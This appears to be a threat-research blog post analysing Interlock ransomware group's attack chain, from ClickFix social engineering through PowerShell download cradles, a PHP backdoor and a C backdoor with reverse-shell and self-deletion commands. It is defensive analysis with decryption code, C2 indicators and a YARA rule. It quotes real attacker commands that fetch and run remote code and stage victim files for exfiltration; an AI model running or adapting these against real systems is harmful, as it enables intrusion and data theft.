Threat Response Unit

Unmasking Interlock Group's Evolving Malware Arsenal

Attacks/Breaches

Threat Intelligence

Threat Response Unit

TRU Positive/Bulletin

eSentire Threat Response Unit (TRU)

July 31, 2025

17 MINS READ

Adversaries don’t work 9-5 and neither do we. At eSentire, our 24/7 SOCs are staffed with Elite Threat Hunters and Cyber Analysts who hunt, investigate, contain and respond to threats within minutes.

We have discovered some of the most dangerous threats and nation state attacks in our space – including the Kaseya MSP breach and the more_eggs malware.

Our Security Operations Centers are supported with Threat Intelligence, Tactical Threat Response and Advanced Threat Analytics driven by our Threat Response Unit – the TRU team.

In TRU Positives, eSentire’s Threat Response Unit (TRU) provides a summary of a recent threat investigation. We outline how we responded to the confirmed threat and what recommendations we have going forward.

Here’s the latest from our TRU Team…

What did we find?

In July 2025, the eSentire Threat Response Unit (TRU) identified multiple sophisticated incidents believed to be attributed to the Interlock Group, a ransomware gang that has targeted organizations across North America and Europe since September 2024.

During the investigation, TRU found that Interlock Group used a PHP-based backdoor to deploy another malicious component being referred to as "Interlock RAT" within the cybersecurity community. Despite its name, this tool functions primarily as a backdoor rather than a Remote Access Trojan (RAT), with support for several attacker-supplied commands to allow for further reconnaissance and ransomware deployment.

In this TRU Positive, we explore the TTPs of the group, including the use of ClickFix for initial access, inner-workings of various backdoors, executed commands, data theft, and reconnaissance activities that contribute to a process tree so large, we'd recommend viewing it on a 4K monitor, or possibly a billboard.

Additionally, we provide several python scripts available here for security researchers to automate parts of the analysis process.

Figure 1 – Process tree of attack by Interlock Group
Figure 1 – Process tree of attack by Interlock Group

Attack Chain Overview

The attack chain can be seen in the figure below:

Figure 2 – Attack overview diagram
Figure 2 – Attack overview diagram

First, the victim unknowingly visited a compromised site (Kongtuke) and was redirected and social engineered to run a malicious PowerShell command via ClickFix. The PowerShell command then sent a request to an Interlock C2 and invoked the response, which created a Windows shortcut file with its target pointing to what we are calling “Simple Process Launcher” (c2.exe) and executed it via the following command.

This command line is highly anomalous and makes use of a known LOLBin (shell32.dll!ShellExec_RunDLL) to execute the shortcut via shell execute.

rundll32 shell32.dll,ShellExec_RunDLL “<8_CHARS>.lnk”

Once c2.exe runs, it runs a PowerShell command that retrieves and invokes additional PowerShell. This additional PowerShell downloads/executes the PHP interpreter with the following command:

"C:\Users\<REDACTED>\AppData\Roaming\php\php.exe" -d extension=zip -d extension_dir=ext C:\Users\<REDACTED>\AppData\Roaming\php\config.cfg 1

The config.cfg file is an obfuscated PHP-based backdoor, with support for several commands. In our analysis, we identified Interlock Group sending the “DLL” command, leading to the download of the core Interlock Backdoor AKA Interlock RAT into the AppData folder as a PNG file and execution of it via the following command:

rundll32.exe "<8_CHARS>.png", start

Initial Access

For initial access, TRU has observed Interlock Group making use of KongTuke-compromised websites, ultimately redirecting victims to ClickFix pages. ClickFix is a social engineering technique that directs victims to compromised websites where they're deceived into executing malicious commands.

Upon running the command, victims encounter a fake error message, and once they close the error message, the attack progresses by:

An example obfuscated command copied to a victim’s clipboard can be seen below.

"C:\WINDOWS\system32\WindowsPowerShell\v1.0\PowerShell.exe" -w h -nop -c "$gt='dng-m,i,crosoftds,com'.Split(',');$yn='htt'+'ps://'+$gt[0]+$gt[1]+$gt[2]+'.'+$gt[3]+'/' + 'uvA'+'4I'+'BD'+'9'+'.txt';$ws=New-Object Net.WebClient;$sc=$ws.('Download'+'String')($yn);$zl='i'+'ex';&$zl $sc"

After deobfuscating we can clearly see that it is a Download Cradle to retrieve the next stage from a remote URL “hxxps://dng-microsoftds[.]com” and invoke it.

$yn='hxxps://dng-microsoftds[.]com/uvA4IBD9.txt';
$ws=New-Object Net.WebClient;
$sc=$ws.('DownloadString')($yn);
iex $sc

PowerShell Stage

This stage is responsible for decoding a JSON blob, which has a key storing more base64 containing what we are calling Interlock Group’s “Simple Process Launcher" (c2.exe). It creates a Windows Shortcut in the victim’s startup folder for persistence and configures its target to point to the path for c2.exe.

It uses rundll32 to execute the shortcut file via the command below, leading to executing c2.exe. Usage of the export ShellExec_RunDLL in shell32.dll is highly suspicious and is a known LOLBin abused by threat actors across the board. More information about this LOLBin can be found here.

rundll32 shell32.dll,ShellExec_RunDLL “<8_CHARS>.lnk”
Figure 3 – PowerShell stage writing Simple Process Launcher and executing it
Figure 3 – PowerShell stage writing Simple Process Launcher and executing it

Simple Process Launcher

For the purposes of explaining this stage clearly, we can call the next stage Interlock Group’s “Simple Process Launcher”. This binary (c2.exe) is simply makes use of the CreateProcessW Windows API to run the next stage (additional PowerShell process).

The figure below displays decompiled output of the core routine, which can be seen calling the MessageBoxW API to deceive the user into thinking an error occurred, when in reality the error message is hard-coded. You can also see the PowerShell command line passed to CreateProcessW in the figure.

Figure 4 – Simple Process Launcher pseudo-code
Figure 4 – Simple Process Launcher pseudo-code

The figure below shows pseudo-code of another variant, illustrating how the fake error message and PowerShell command vary sample to sample, though the underlying functionality to display a bogus error message and run a PowerShell command remains consistent.

Figure 5 – Simple Process Launcher variant pseudo-code
Figure 5 – Simple Process Launcher variant pseudo-code

The PowerShell command (included below) serves to send a web request to a URL and invoke the response as PowerShell.

powershell -c "$n=[System.Linq.Enumerable]::First(char[]);irm dnsg-microsoftds-data[.]life/zh0GPFZdKt |clip;&([scriptblock]::Create((gcb) -join $n))"
Figure 6 – Invoked additional PowerShell
Figure 6 – Invoked additional PowerShell

The PowerShell returned performs system reconnaissance through the systeminfo command. Collected system information is transmitted to the C2 server via a POST request, where it is analyzed for virtual machine or sandbox indicators.

If no virtualization/sandbox artifacts are detected, the backend returns a malicious command responsible for deploying a PHP-based backdoor, otherwise the C2 server responds with a benign command to download and execute the legitimate Microsoft .NET SDK installer.

Figure 7 displays the POST request containing harvested system information sent to the C2 server.

Figure 7 – System information sent in request to C2
Figure 7 – System information sent in request to C2

Figure 8 displays the corresponding C2 server response containing the benign Microsoft .NET SDK installer command.

Figure 8 – Benign command returned by C2
Figure 8 – Benign command returned by C2

PHP Backdoor

Interlock Group’s PHP based backdoor (config.cfg) is highly obfuscated and enables full C2 capabilities, including command execution, persistence, download/execution of C2 supplied DLL/EXE file, and installation of NodeJS to execute JavaScript based payloads like NodeSnake RAT.

A truncated portion of the obfuscated backdoor can be seen in the figure below.

Figure 9 – Obfuscated PHP backdoor (truncated)
Figure 9 – Obfuscated PHP backdoor (truncated)

The next figure displays the deobfuscated/beautified contents of the PHP backdoor, illustrating how commands from the C2 are handled. For security researchers interested in analyzing or testing Interlock C2 infrastructure, eSentire uploaded the deobfuscated script, which can be downloaded from VirusTotal here.

Figure 10 – PHP Backdoor command handler
Figure 10 – PHP Backdoor command handler

The full command list and functionality of each command is described in the following table. The first column represents the command, and its associated “friendly” identifier used in the backdoor.

Command Description
0 ⇒ “EXE” Create a random folder in AppData and write the payload from the C2 to it as a random 8 character string + ".exe", then execute it via PowerShell.
1 ⇒ “DLL” Create a random folder in AppData and write the payload from the C2 to it as a random 8 character string + ".png", then execute it via PowerShell/rundll32.exe.
2 ⇒ “JS” Download NodeJS from http://nodejs.org/dist/v21.7.3/node-v21.7.3-win-x64.zip, create a random folder in AppData and write a NodeJS JavaScript payload to it as a random 8 character string + ".jpg" and execute it via PowerShell/Node.exe.
3 ⇒ “CMD” Allows executing arbitrary commands via the PHP function "proc_open".
4 ⇒ “ACTIVE” If this command is not received, delay to sending new request to C2 is increased to 300 seconds.
5 ⇒ “AUTORUN” Set up persistence via registry "Run" key.
6 ⇒ “OFF” Exit
“OTHER” Default case, drop file from C2 into random AppData folder + random 8 character string + “.txt” file extension.

TRU observed Interlock Group using this backdoor to deploy NodeSnake as reported by The DFIR Report here and Halcyon here, which was in turn used to harvest sensitive files for exfiltration.

NodeJS and NodeSnake (node.log) were deployed through the following commands:

cmd.exe /s /c "powershell -c "iwr https://nodejs.org/dist/v21.7.3/node-v21.7.3-win-x64.zip -out $env:tmp/node.zip""
cmd.exe /s /c "powershell -c "Expand-Archive -Path $env:tmp/node.zip -DestinationPath $env:APPDATA""
cmd.exe /s /c "powershell -c "rm $env:tmp/node.zip""
cmd.exe /s /c "powershell -c "mv 
C:\Users\<redacted>\AppData\Roaming\afterSentDocuments643307\NVMuywUb.txt 
C:\Users\<redacted>\AppData\Roaming\node-v21.7.3-win-x64\node.log""
cmd.exe /s /c "powershell -c "start-process -filePath 
C:\Users\<redacted>\AppData\Roaming\node-v21.7.3-win-x64\node.exe -arg 
C:\Users\<redacted>\AppData\Roaming\node-v21.7.3-win-x64\node.log  -WindowStyle hidden"
/code>

Victim files were harvested by encoding sensitive files in base64 and staging them in the C:\Users\Public directory as *.log files. This was achieved through commands in the following format:

cmd.exe /d /s /c "cmd.exe /c powershell -c "$path='<PATH/TO/EXFIL>'; $bin = [System.IO.File]::ReadAllBytes($path); $b64s = [Convert]::ToBase64String($bin); echo $b64s" 1> C:\Users\Public\<RANDOM>.log 2>&1"

The table below displays commands used by the PHP backdoor to collect a wealth of system information prior to transmission to the C2, including comprehensive system information, disk drive/removable drive/file shares, whether the user is administrator or not, running processes, services, and information about network interfaces.

Command
powershell -c "systeminfo /FO CSV | ConvertFrom-Csv | ConvertTo-Json"
powershell -c "Get-PSDrive -PSProvider FileSystem | ConvertTo-Json"
powershell -c "if ([Security.Principal.WindowsIdentity]::GetCurrent().Name -match '(?i)SYSTEM') { 'SYSTEM' } elseif (([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { 'ADMIN' } else { 'USER' }"
powershell -c "tasklist /svc /FO CSV | ConvertFrom-Csv | ConvertTo-Json"
powershell -c "Get-NetNeighbor -AddressFamily IPv4 | Where-Object { $.State -ne 'Permanent' } | Select-Object @{Name='Interface'; Expression={$.InterfaceAlias}}, @{Name='Internet Address'; Expression={$.IPAddress}}, @{Name='Physical Address'; Expression={$.LinkLayerAddress}}, @{Name='Type'; Expression={'dynamic'}} | ConvertTo-Json"

Collected information is encrypted and compressed through the following steps prior to being sent to the C2 server:

The following python pseudo-code replicates the aforementioned algorithm. Note, eSentire has developed a full implementation allowing security researchers to decrypt identified C2 communications available here.

def interlock_xor(data, xor_key):
    result = bytearray() 
    ad = xor_key[0]
    for i, byte in enumerate(data):
        ad = (ad + (ad + i % 256)) % 256
        key_byte = xor_key[i % 4]
        result.append(byte ^ (key_byte ^ ad))
    return bytes(result)

The backdoor generates the full C2 URL in the following format, where the rand() function is used to generate random strings in lengths of 0 to 24 for use in the URI path. Note, if rand returns 0, the string and forward slash are excluded from the URL, therefore one or more of these paths are optional.

hxxp://<c2_domain>/<random_0_to_14_string>/<another_random_0_to_14_string>&<random_8_hex_bytes><random_8_hex_bytes>/<another_another_random_0_to_14_string>

Responses from the C2 are decrypted by the backdoor by taking the last four bytes of the response for use as an XOR key in the same aforementioned algorithm. Note, the last byte in the decrypted response is the command number to run, preceded by data used by the command handlers shown in Figure 10.

Figure 11 – PHP Backdoor sending system information to C2 and decrypting response via XOR key from response
Figure 11 – PHP Backdoor sending system information to C2 and decrypting response via XOR key from response

C Backdoor

As previously noted, an additional backdoor was dropped into AppData by the PHP backdoor as a “.png” file, though it is a DLL. The backdoor is packed, and uses self-injection to overwrite itself in memory, followed by a tail jump (jmp rax) to execute at the Original Entry Point (OEP) of the backdoor.

Figure 12 – Decrypt, self-injection, tail jump to OEP
Figure 12 – Decrypt, self-injection, tail jump to OEP

Static analysis of the unpacked payload reveals three command and control servers in plaintext: 167.235.235[.]151, 128.140.120[.]188, and 177.136.225[.]135.

Figure 13 – C2 servers in rdata
Figure 13 – C2 servers in rdata

Pseudo-code of the routine within the backdoor that is responsible for fingerprinting the victim machine can be seen in the figure below. The backdoor first collects the victim’s operating system version, the integrity level of the running backdoor process, the victim’s computer name, username, and network domain.

Figure 14 – Get system information, send C2 request over TCP 443
Figure 14 – Get system information, send C2 request over TCP 443

C2 Communications

The aforementioned collected information is formatted into a JSON blob and appended to hard-coded bytes “55 11 69 DF” prior to transmission to the C2. This is the initial callback step in the backdoor. C2 communication in the backdoor is facilitated over sockets - TCP port 443.

If the C2 returns 1 after sending the initial callback data, the backdoor deletes itself, if it returns 2, the backdoor exits, otherwise if it returns 0, the backdoor continues execution. Figure 16 below shows the C2 returning 0 just after the initial callback.

\x55\x11\x69\xDF{"iptarget": "<C2_SERVER_IP>", "domain": "<VICTIM_DOMAIN>", "pcname": "<VICTIM_COMPUTER_NAME>", "username": " <VICTIM_USERNAME> ", "runas": <INTEGRITY_LEVEL>, "typef": 2, "veros": <OS_VERSION>}

Responses from the C2 are decrypted and handled through the following steps. Note, request data is encrypted through a similar process, first by XORing each byte (12 bytes) with 0x4D, and generating a 32-bit XOR key via calls to rand(), which is seeded first by srand() with the current 64-bit time since epoch.

  1. The backdoor uses the recv function to poll for command data (12 bytes) from the C2 in a while loop. Received command data is decrypted (12 bytes) by XORing each byte with 0x4D.
  2. The decrypted command data contains:
    1. A command number, from 0 to 9.
    2. The size of encrypted data to retrieve from the C2.
    3. A 32-bit XOR key used to decrypt encrypted data retrieved from the C2.
Figure 15 – Routine that XORs each byte (12 total)
Figure 15 – Routine that XORs each byte (12 total)

The next figure displays an annotated PCAP further describing C2 communications. The initial callback is seen first, followed by an XOR encoded command from the C2. Decoding the command reveals command “6” (backup C2 servers to disk), a size of encrypted data (8), a 32-bit XOR key (0xA67386AD), and 8 encrypted bytes.

After decrypting the 8 bytes, we identified two (network byte ordered) C2 servers. Decrypted data is handled differently depending on the C2 command.

Figure 16 – Annotated PCAP
Figure 16 – Annotated PCAP

The figure below displays pseudo-code of a simple XOR based algorithm used throughout the backdoor. This algorithm is used to decrypt the aforementioned encrypted data. It is also used to decrypt data from the C2 server backup file “hiskeow.tmp”, but we will get to that later.

Figure 17 – Routine used throughout for encrypting/decryption, i.e. in response/request, C2 server backup file
Figure 17 – Routine used throughout for encrypting/decryption, i.e. in response/request, C2 server backup file

The following python pseudo-code can be used to simulate the algorithm in python.

def interlock_xor(self, pCipherText_bytes: bytes, dwCipherTextLen: int, dwXorKey: int) -> bytearray:
    
    # Create a bytearray from the input bytes
    pCipherText = bytearray(pCipherText_bytes)
    v4 = dwXorKey
    v4_bytes = v4.to_bytes(4, 'little') 

    if dwCipherTextLen:
        for i in range(dwCipherTextLen):
            dwXorKey = i + 2 * dwXorKey
            pCipherText[i] ^= v4_bytes[i & 3] ^ (dwXorKey & 0xFF)
            
    return pCipherText

Important commands and their associated purpose can be seen in the table below. Command numbers vary from sample to sample, however functionality of the backdoor remains consistent.

Command Description
3 Reverse shell mechanism, spawns a hidden cmd.exe process and redirects the victim's standard input/output over a network socket, enabling the attacker's C2 server to send commands and receive command output.
4/5 Used for evasion, allowing threat actors to delete the running backdoor from disk via an embedded DLL launched with rundll32.
6 Encrypt and store backup C2 servers in %temp%\hiskeow.tmp.
7 Use updated C2 server retrieved from the current C2.
8 Free memory, close socket, and sleep.
9 Execute a command from the C2, redirecting standard error and standard out to a file: C:\Users\Public\%lu.log, where %lu represents the current system time in seconds since epoch via _time64() function.

Reverse Shell Command “3”

Reverse shell capabilities are handled by command “3”, first by creating pipes for reading/writing to standard input and standard output/error. Next, a hidden cmd.exe is started and standard input/output/error handles are set to the created pipe handles.

Finally, the pipe handles are used via ReadFile/WriteFile API calls, allowing the threat actors to read standard output/error and send it back to the C2, and write C2 supplied commands to standard input.

Figure 18 – Create pipes, redirect stdout, stdin, stderr
Figure 18 – Create pipes, redirect stdout, stdin, stderr
Figure 19 – Spawn hidden command prompt with redirected pipes
Figure 19 – Spawn hidden command prompt with redirected pipes
Figure 20 – Write C2 command to stdin
Figure 20 – Write C2 command to stdin
Figure 21 – Send command result from stdout/stderr to C2
Figure 21 – Send command result from stdout/stderr to C2

Self-Deletion Commands “4” and “5”

The figure below displays how commands “4” and “5” are handled. The backdoor writes an embedded DLL to delete the backdoor PNG file from disk into the victim’s temporary directory as tmp%d.dll, where %d is a random integer generated by the rand() function.

The DLL is executed via rundll32, and is passed the DLL path, followed by the DLL’s primary export “run” and the file path to remove (the PNG backdoor file path). This effectively prevents forensics investigators from identifying the backdoor on disk.

Figure 22 – Spawn rundll32 to execute “Remover” DLL
Figure 22 – Spawn rundll32 to execute “Remover” DLL

The next figure displays the pseudo-code of the DLL’s export “run”, which simply takes a file to delete and deletes it from disk.

Figure 23 – Remover DLL export “run”
Figure 23 – Remover DLL export “run”

Backup C2 Servers to Disk Command “6”

Interlock RAT uses command “6” to retrieve backup servers from the current C2 and writes them to disk to %temp%\hiskeow.tmp. To achieve this, it generates an XOR key per C2 server and stores the XOR key (4 bytes) preceding each C2 server (4 bytes, stored in network byte order).

The algorithm used to decrypt each C2 is the same one mentioned above. In the event the backdoor is unable to connect to any of the primary C2 servers, it falls back to using this on-disk backup.

The figure below displays the routine responsible for backing up C2 servers received from the current C2.

Figure 24 - Backup C2 Servers to disk
Figure 24 - Backup C2 Servers to disk

The next figure displays the routine responsible for parsing and decrypting the backed up C2 servers.

Figure 25 – Parse backup C2 Servers from disk
Figure 25 – Parse backup C2 Servers from disk

The figure below demonstrates decryption of the contents of hiskeow.tmp into C2 servers in numbers-and-dots notation in python, revealing two undetected backup C2 servers in the process, 206.72.199[.]225 and 65.109.162[.]8.

Figure 26 – Pseudo-code demonstrating decryption of backed up C2 servers
Figure 26 – Pseudo-code demonstrating decryption of backed up C2 servers

C2 Simulation

We created a tool available here that simulates backdoor communications, which can be used by security researchers to test C2 infrastructure. For example, the figure below displays output from the tool where we used it to retrieve backup C2 servers from a live C2 at 65.109.162[.]8.

Figure 27 – Output from C2 infrastructure probing client script
Figure 27 – Output from C2 infrastructure probing client script

Yara Rule

The following Yara rule can be used to detect the C-based Interlock Backdoor in memory.

rule Interlock_Backdoor_Win
{
    meta:
        author = "YungBinary"
    strings:
        $s1 = "{\"iptarget\": \"%d.%d.%d.%d\", \"domain\": \"%s\", \"pcname\": \"%s\", \"user" ascii
    condition:
        $s1
}

What did we do?

What can you learn from this TRU Positive?

Recommendations from the Threat Response Unit (TRU)

Indicators of Compromise

References

To learn how your organization can build cyber resilience and prevent business disruption with eSentire’s Next Level MDR, connect with an eSentire Security Specialist now.

GET STARTED

ABOUT ESENTIRE’S THREAT RESPONSE UNIT (TRU)

The eSentire Threat Response Unit (TRU) is an industry-leading threat research team committed to helping your organization become more resilient. TRU is an elite team of threat hunters and researchers that supports our 24/7 Security Operations Centers (SOCs), builds threat detection models across the eSentire XDR Cloud Platform, and works as an extension of your security team to continuously improve our Managed Detection and Response service. By providing complete visibility across your attack surface and performing global threat sweeps and proactive hypothesis-driven threat hunts augmented by original threat research, we are laser-focused on defending your organization against known and unknown threats.

Back to blog

Take Your Cybersecurity Program to the Next Level with eSentire MDR.

BUILD A QUOTE

Read Similar Blogs

EXPLORE MORE BLOGS